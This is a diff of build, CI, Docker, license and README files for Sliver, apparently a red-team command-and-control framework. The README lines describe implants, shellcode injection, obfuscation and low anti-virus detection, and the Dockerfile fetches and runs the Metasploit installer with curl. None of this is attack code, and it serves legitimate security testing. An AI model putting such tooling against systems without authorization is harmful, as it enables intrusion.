Correctly convert request path

Expand tilde in generate file path

.dockerignore

@@ -0,0 +1,21 @@
+/server/assets/fs/**.zip
+
+/*.sdk.tar.xz
+
+/sliver-server
+/sliver-server.exe
+
+/sliver-client
+/sliver-client.exe
+
+/.vscode/
+/.vscode/*
+
+/.github/
+/.github/*
+
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,31 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Command 1 '....'
+3. Command 2 '....'
+4. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Desktop (please complete the following information):**
+ - OS: [e.g. MacOS]
+ - Version [e.g. v0.0.5]
+
+**Additional context**
+Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.

.github/codeql/codeql-config.yml

@@ -0,0 +1,8 @@
+name: "CodeQL Security Checks"
+
+queries:
+  - name: Security and Quality
+    uses: security-extended
+    paths:
+      - server
+      - implant

.github/workflows/autorelease.yml

@@ -0,0 +1,151 @@
+name: Release
+
+on:
+  push:
+    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
+    branches: [master]
+
+jobs:
+
+  linux-windows-build:
+    name: Linux & Windows Build
+    if: startsWith( github.ref, 'refs/tags/v')
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.17
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.17'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make
+      run: export PATH=/home/runner/go/bin/:$PATH && make linux
+  
+    - name: Linux Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: linux
+        path: ./sliver-*
+
+    - name: Make Windows
+      run: export PATH=/home/runner/go/bin/:$PATH && make windows
+
+    - name: Windows Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: windows
+        path:  ./sliver-*
+
+  macos-build:
+    name: MacOS Build
+    if: startsWith( github.ref, 'refs/tags/v')
+    runs-on: macos-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.17
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.17'
+
+    - name: Mingw
+      run: brew install mingw-w64
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make AMD64
+      run: make macos
+    
+    # - name: Make ARM64
+    #   run: make macos-arm64
+
+    - name: MacOS Artifacts
+      uses: actions/upload-artifact@v2
+      with:
+        name: macos
+        path: ./sliver-*
+
+  tagged-release:
+
+    needs: [linux-windows-build, macos-build]
+
+    name: "Tagged Release"
+    if: startsWith( github.ref, 'refs/tags/v')
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
+
+    steps:
+    - run: mkdir -p ./release && mkdir -p ./artifacts
+    - uses: actions/download-artifact@v2
+      with:
+        path: ./artifacts
+
+    - id: install-secret-key
+      name: GPG Key(s)
+      run: |
+        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+        gpg --list-secret-keys --keyid-format LONG
+
+    - name: Release
+      run: mkdir -p ./release
+
+    # Linux
+    - name: Linux AMD64
+      run: |
+        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
+        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
+        gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
+
+    # Windows
+    - name: Windows AMD64
+      run: |
+        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
+        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
+        gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
+
+    # MacOS AMD64
+    - name: MacOS AMD64
+      run: |
+        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
+        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
+        gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
+        gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
+
+    # MacOS ARM64
+    # - name: Package MacOS ARM64
+    #   run: |
+    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
+    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
+
+    - name: "Publish Release"
+      uses: "marvinpinto/action-automatic-releases@latest"
+      with:
+        repo_token: "${{ secrets.GITHUB_TOKEN }}"
+        prerelease: false
+        files: |
+          ./release/*

.github/workflows/codeql-scanning.yml

@@ -0,0 +1,77 @@
+name: "Code Scanning"
+
+on:
+  push:
+    branches:
+      - test/*
+  # pull_request:
+  #   branches:
+  #     - master
+
+jobs:
+  CodeQL-Build:
+    name: CodeQL Security Scan
+    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
+
+    steps:
+      # Setup go environment
+      - name: Go 1.17
+        uses: actions/setup-go@v2
+        with:
+          go-version: "^1.17"
+
+      - name: Checkout repository
+        uses: actions/checkout@v2
+        with:
+          # Must fetch at least the immediate parents so that if this is
+          # a pull request then we can checkout the head of the pull request.
+          # Only include this option if you are running this workflow on pull requests.
+          if: ${{ github.event_name == 'pull_request' }}
+          fetch-depth: 2
+
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64
+
+      - name: Protoc
+        env:
+          PROTOC_VER: 3.11.4
+        run: |
+          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
+
+      - name: Protoc-gen-go
+        env:
+          PROTOC_GEN_GO_VER: 1.3.5
+        run: |
+          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
+          && tar xvf protoc-gen-go.tar.gz \
+          && cd protobuf-${PROTOC_GEN_GO_VER} \
+          && make install
+
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v2
+
+      - name: Go Assets
+        run: ./go-assets.sh
+
+      # Initializes the CodeQL tools for scanning.
+      - name: Initialize CodeQL
+        uses: github/codeql-action/init@v1
+        with:
+          config-file: ./.github/codeql/codeql-config.yml
+          languages: go
+
+      # Build the server ... is this necessary though?
+      - run: |
+          make
+
+      - name: Perform CodeQL Analysis
+        uses: github/codeql-action/analyze@v1
+        env:
+          VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -0,0 +1,77 @@
+name: Build & Test
+on:
+  push:
+    branches: 
+      - test/*
+  pull_request:
+    branches:
+      - master
+
+jobs:
+
+  linux-windows-build:
+    name: Linux & Windows Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.17
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.17'
+    
+    - name: OS Packages 
+      run: |
+        sudo apt-get update --fix-missing && sudo apt-get -y install \
+        git build-essential zlib1g zlib1g-dev wget zip unzip \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make
+      run: make linux
+
+    - name: Test
+      run: ./sliver-server unpack --force && ./go-tests.sh
+
+    - name: Make Windows
+      run: make windows
+  
+  macos-build:
+    name: MacOS Build
+    runs-on: macos-latest
+    timeout-minutes: 45
+    steps:
+
+    - name: Go 1.17
+      uses: actions/setup-go@v2
+      with:
+        go-version: '^1.17'
+
+    - name: Mingw
+      run: brew install mingw-w64
+
+    - name: Check out code into the Go module directory
+      uses: actions/checkout@v2
+
+    - name: Git Fetch Tags
+      run: git fetch --prune --unshallow --tags -f
+
+    - name: Go Assets
+      run: ./go-assets.sh
+
+    - name: Make
+      run: make macos
+
+    - name: Test
+      env:
+        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+      run: ./sliver-server unpack --force && ./go-tests.sh

.gitignore

@@ -1,18 +1,28 @@
-.vscode/*
+/.vscode/*
+/.devcontainer
+/.idea
+
+/Dockerfile.*
+/*.sdk.tar.xz
+
+/release-*
+
+# Diffs
+*.orig
 
 # Binaries
-sliver-server
-sliver.exe
+/sliver-server
+/sliver-server_arm64
+/sliver.exe
+
+/sliver-client
+/sliver-client_arm64
+/sliver-client.exe
 
 sliver-server-linux.zip
 sliver-server-macos.zip
 sliver-server-windows.zip
 
-# Large static assets
-server/assets/src.zip
-server/assets/darwin/*.zip
-server/assets/linux/*.zip
-server/assets/windows/*.zip
 
 # Binaries for programs and plugins
 *.exe
@@ -21,18 +31,12 @@ server/assets/windows/*.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/
 
-vendor/*
-
-*.pb.go
-
-*-packr.go
-
-.DS_Store
+.DS_Store

CONTRIBUTING.md

@@ -0,0 +1,38 @@
+Contributing to Sliver
+======================
+
+## General
+
+* Contributions to core code must be GPLv3 (but not libraries)
+* If you'd like to work on a feature, please open a ticket and assign it to yourself
+* Changes should be made in a new branch
+* Commits [must be signed](https://docs.github.com/en/github/authenticating-to-github/signing-commits) for any PR to master
+* Please provide meaningful commit messages
+* Ensure code passes existing unit tests, or provide updated test(s)
+* `gofmt` your code
+* Any changes to `vendor/` should be in a distinct commit
+* Avoid use of `CGO` (limits cross-platform support)
+* Avoid use of empty interfaces
+* Never import anything from the `server` package in the `client` package.
+
+## Security
+
+* _Never_ trust the user, applied in a common-sense way.
+* __Secure by default__, please ensure any contributed code follows this methodology to the best of your ability. It should be difficult to insecurely configure features/servers.
+    - It is better to fail securely than operate in an insecure manner.
+* _Avoid_ incorporating user controlled values when constructing file/directory paths. Ensure any values that must be incorporated into paths are properly canonicalized.
+* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
+* Whenever possible, use the following algorithms/encryption modes:
+    - AES-GCM-256
+    - SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
+    - Curves P521, P384, P256
+    - Curve25519, XSalsa20, and Poly1305 (Nacl)
+    - ChaCha20Poly1305
+* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
+    - MD5
+    - SHA1
+    - AES-ECB
+    - AES-CBC, AES-CTR, etc. -without use case justification
+* `math/random` should _always_ be imported as `insecureRand` and _never_ used to generate values related to a security context.
+* Always apply the most restrictive file permissions possible.
+* Apply obfuscation techniques when possible, but _do not rely upon_ obfuscation for security.

Dockerfile

@@ -0,0 +1,74 @@
+FROM golang:1.17.5
+
+#
+# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+#            Sliver using this container configuration! However, if you do want
+#            a Docker deployment this is probably a good place to start.
+#
+
+ENV PROTOC_VER 3.17.1
+ENV PROTOC_GEN_GO_VER v1.26.0
+ENV GRPC_GO v1.1.0
+
+# Base packages
+RUN apt-get update --fix-missing && apt-get -y install \
+  git build-essential zlib1g zlib1g-dev \
+  libxml2 libxml2-dev libxslt-dev locate curl \
+  libreadline6-dev libcurl4-openssl-dev git-core \
+  libssl-dev libyaml-dev openssl autoconf libtool \
+  ncurses-dev bison curl wget xsel postgresql \
+  postgresql-contrib postgresql-client libpq-dev \
+  libapr1 libaprutil1 libsvn1 \
+  libpcap-dev libsqlite3-dev libgmp3-dev \
+  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+  nasm gcc-multilib
+
+#
+# > User
+#
+RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
+RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
+
+#
+# > Metasploit
+#
+RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
+  && chmod 755 msfinstall \
+  && ./msfinstall
+RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
+    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+
+#
+# > Sliver
+#
+
+# Protoc
+WORKDIR /tmp
+RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
+    && cp -vv ./bin/protoc /usr/local/bin
+RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
+    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
+
+# Go assets
+WORKDIR /go/src/github.com/bishopfox/sliver
+ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
+RUN ./go-assets.sh
+
+# Compile sliver server
+ADD . /go/src/github.com/bishopfox/sliver/
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
+
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
+RUN make clean \
+    && rm -rf /go/src/* \
+    && rm -rf /home/sliver/.sliver
+
+USER sliver
+WORKDIR /home/sliver/
+ENTRYPOINT [ "/opt/sliver-server" ]

LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
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+  "Additional permissions" are terms that supplement the terms of this
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+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
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+  12. No Surrender of Others' Freedom.
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+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
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+    Copyright (C) <year>  <name of author>
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+    This program is free software: you can redistribute it and/or modify
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+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
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+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
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+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

Makefile

@@ -2,48 +2,127 @@
 # Makefile for Sliver
 #
 
-GO = go
-ENV = CGO_ENABLED=0
-TAGS = -tags netgo
-LDFLAGS = -ldflags '-s -w'
+GO ?= go
+ENV =
+TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
-
-macos: clean pb
-	GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
-
-linux: clean pb
-	GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
-
-windows: clean pb
-	GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
+#
+# Version Information
+#
+GO_VERSION = $(shell $(GO) version)
+VERSION ?= $(shell git describe --abbrev=0)
+COMPILED_AT = $(shell date +%s)
+RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
+PKG = github.com/bishopfox/sliver/client/version
+GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
+GIT_COMMIT = $(shell git rev-parse HEAD)
+LDFLAGS = -ldflags "-s -w \
+	-X $(PKG).Version=$(VERSION) \
+	-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(PKG).GitDirty=$(GIT_DIRTY)"
 
 
 #
-# Static builds were we bundle everything together
-# TODO: I think the `sed` command syntax is only valid on MacOS
+# Prerequisites 
 #
-static-macos: clean pb
-	packr
-	sed -i '' '/$*.windows\/go\.zip/d' ./server/a_main-packr.go
-	sed -i '' '/$*.linux\/go\.zip/d' ./server/a_main-packr.go
-	GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
+# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
+EXECUTABLES = uname sed git zip date $(GO)
+K := $(foreach exec,$(EXECUTABLES),\
+        $(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
 
-static-windows: clean pb
-	packr
-	sed -i '' '/$*.darwin\/go\.zip/d' ./server/a_main-packr.go
-	sed -i '' '/$*.linux\/go\.zip/d' ./server/a_main-packr.go
-	GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
+SED_INPLACE := sed -i
+STATIC_TARGET := linux
 
-static-linux: clean pb
-	packr
-	sed -i '' '/$*.darwin\/go\.zip/d' ./server/a_main-packr.go
-	sed -i '' '/$*.windows\/go\.zip/d' ./server/a_main-packr.go
-	GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
+UNAME_S := $(shell uname -s)
+UNAME_P := $(shell uname -p)
 
+# If the target is Windows from Linux/Darwin, check for mingw
+CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
+ifneq (,$(findstring cgosqlite,$(TAGS)))
+	ENV +=CGO_ENABLED=1
+	ifeq ($(MAKECMDGOALS), windows)
+		K := $(foreach exec,$(CROSS_COMPILERS),\
+				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
+		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
+	endif
+endif
+
+# Programs required for generating protobuf/grpc files
+PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
+ifeq ($(MAKECMDGOALS), pb)
+	K := $(foreach exec,$(PB_COMPILERS),\
+			$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
+endif
+
+# *** Darwin ***
+ifeq ($(UNAME_S),Darwin)
+	SED_INPLACE := sed -i ''
+	STATIC_TARGET := macos
+endif
+ifeq ($(UNAME_P),arm)
+	ENV += GOARCH=arm64
+endif
+
+ifeq ($(MAKECMDGOALS), linux)
+	# Redefine LDFLAGS to add the static part
+	LDFLAGS = -ldflags "-s -w \
+		-extldflags '-static' \
+		-X $(PKG).Version=$(VERSION) \
+		-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
+		-X $(PKG).CompiledAt=$(COMPILED_AT) \
+		-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
+		-X $(PKG).GitCommit=$(GIT_COMMIT) \
+		-X $(PKG).GitDirty=$(GIT_DIRTY)"
+endif
+
+#
+# Targets
+#
+.PHONY: default
+default: clean
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+
+.PHONY: macos
+macos: clean
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+
+.PHONY: macos-arm64
+macos-arm64: clean
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
+
+.PHONY: linux
+linux: clean
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+
+.PHONY: windows
+windows: clean
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
+
+.PHONY: pb
 pb:
-	protoc -I protobuf/ protobuf/sliver.proto --go_out=protobuf/
+	protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
+.PHONY: clean-all
+clean-all: clean
+	rm -rf ./server/assets/fs/darwin/amd64
+	rm -rf ./server/assets/fs/darwin/arm64
+	rm -rf ./server/assets/fs/windows/amd64
+	rm -rf ./server/assets/fs/linux/amd64
+	rm -f ./server/assets/fs/*.zip
+
+.PHONY: clean
 clean:
-	packr clean
-	rm -f ./protobuf/*.pb.go
-	rm -f sliver-server *.exe
+	rm -f sliver-client_arm64 sliver-server_arm64
+	rm -f sliver-client sliver-server sliver-*.exe

README.md

@@ -1,91 +1,48 @@
 Sliver
 ======
 
-![Sliver](/sliver/sliver.jpeg)
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
-Sliver is a remote shellcode loading and injection service that uses end-to-end encryption (mTLS) for all network traffic. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary. Sliver can load arbitrary shellcode but also integrates with MSFVenom to automatically generate, execute, and manage Meterpreter payloads. Sliver binaries have very low anti-virus detection as they do not contain any malicous code themselves and instead dynamically load it over the network.
+The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-Sliver can inject payloads into it's own process or optionally use remote thread injection to execute payloads in a remote processes to which your execution context has access.
+![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
-```
-[attacker] <-(mTLS)-> [sliver] -(code injection)-> [remote process]
-```
+### Features
 
-### Setup
+* Dynamic code generation
+* Compile-time obfuscation
+* Multiplayer-mode
+* Staged and Stageless payloads
